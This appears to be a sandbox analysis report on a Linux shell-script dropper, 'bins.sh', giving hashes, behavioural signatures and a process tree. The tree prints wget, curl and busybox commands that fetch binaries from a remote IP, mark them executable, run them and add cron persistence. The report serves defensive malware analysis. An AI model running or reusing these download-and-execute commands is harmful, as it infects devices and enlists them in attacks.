Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
09-11-2024 18:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
49ff6a2cb20564750a63b55e97d1ab33
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SHA1
002760981243e617f09aae9d51348ed8cbf15220
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SHA256
f591850528c073e92ddf0c7c9e15277c4a32c26150f5da11e7e7bad58514e7e1
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SHA512
a59a5dff228d17cc3f8997dc959386adf79208c4dc7b6f376792deb406e5da9b08090f94eba1dbd5d00356069bc5d4367403fe4fa24494b5d30167319b660b18
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SSDEEP
192:OH55kd4A2eVeyFjrUl/Cu1jrUg2eVz55kdl:OH55kd4A2ecyI/Cu32e555kdl
Malware Config
Signatures
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Contacts a large (1969) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodpid process 744 chmod 752 chmod -
Executes dropped EXE 2 IoCs
Processes:
CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYVr08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAqioc pid process /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV 745 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq 753 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq -
Renames itself 1 IoCs
Processes:
r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAqpid process 754 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.GJ0Y6G crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAqdescription ioc process File opened for reading /proc/77/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/692/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1032/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1123/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/940/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/965/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1214/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1274/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/854/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/867/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1127/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/861/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/978/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1017/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/4/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/990/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1015/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1176/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/938/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/996/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1020/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1067/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/798/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/799/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/839/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/892/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1109/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1196/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/891/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/992/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1132/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1222/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1092/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1167/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1262/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1283/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1151/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1195/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1251/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/909/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/985/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1031/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1100/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1238/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/789/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/822/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1186/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1212/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1255/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1279/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/769/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/855/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1113/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1177/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1281/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/987/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1081/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1101/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1230/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/759/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1117/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1138/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/1155/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq File opened for reading /proc/70/cmdline r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxwgetcurlbusyboxdescription ioc process File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV wget File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV curl File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV busybox File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq wget File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq curl File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:714
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/bin/rm/bin/rm bins.sh2⤵PID:719
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/usr/bin/wgetwget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:721 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:733 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:742 -
/bin/chmodchmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- File and Directory Permissions Modification
PID:744 -
/tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Executes dropped EXE
PID:745 -
/bin/rmrm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵PID:748
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/usr/bin/wgetwget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:749 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:750 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:751 -
/bin/chmodchmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- File and Directory Permissions Modification
PID:752 -
/tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:753 -
/bin/shsh -c "crontab -l"3⤵PID:755
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/usr/bin/crontabcrontab -l4⤵PID:756
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/bin/shsh -c "crontab -"3⤵PID:757
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:762 -
/bin/rmrm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵PID:759
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/usr/bin/wgetwget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵PID:779
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/usr/bin/curlcurl -O http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵PID:852
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD5214ef1d0c8d608f8654c632d8e021a45
SHA185d1d68c73c7991798db99106075047e05f10b22
SHA256634d4a4ac8ae7190a7b8d64a4fa3da3492e88e993bcb06e413bff354234c3178
SHA5122159e06f5fdf2cf30c5a568cee82d2a095946a62f7d348621f6e38595183f7ffc9d43b98652f5a8165640511c71e930307a1b2aeef61def8bffd960a1a7896fc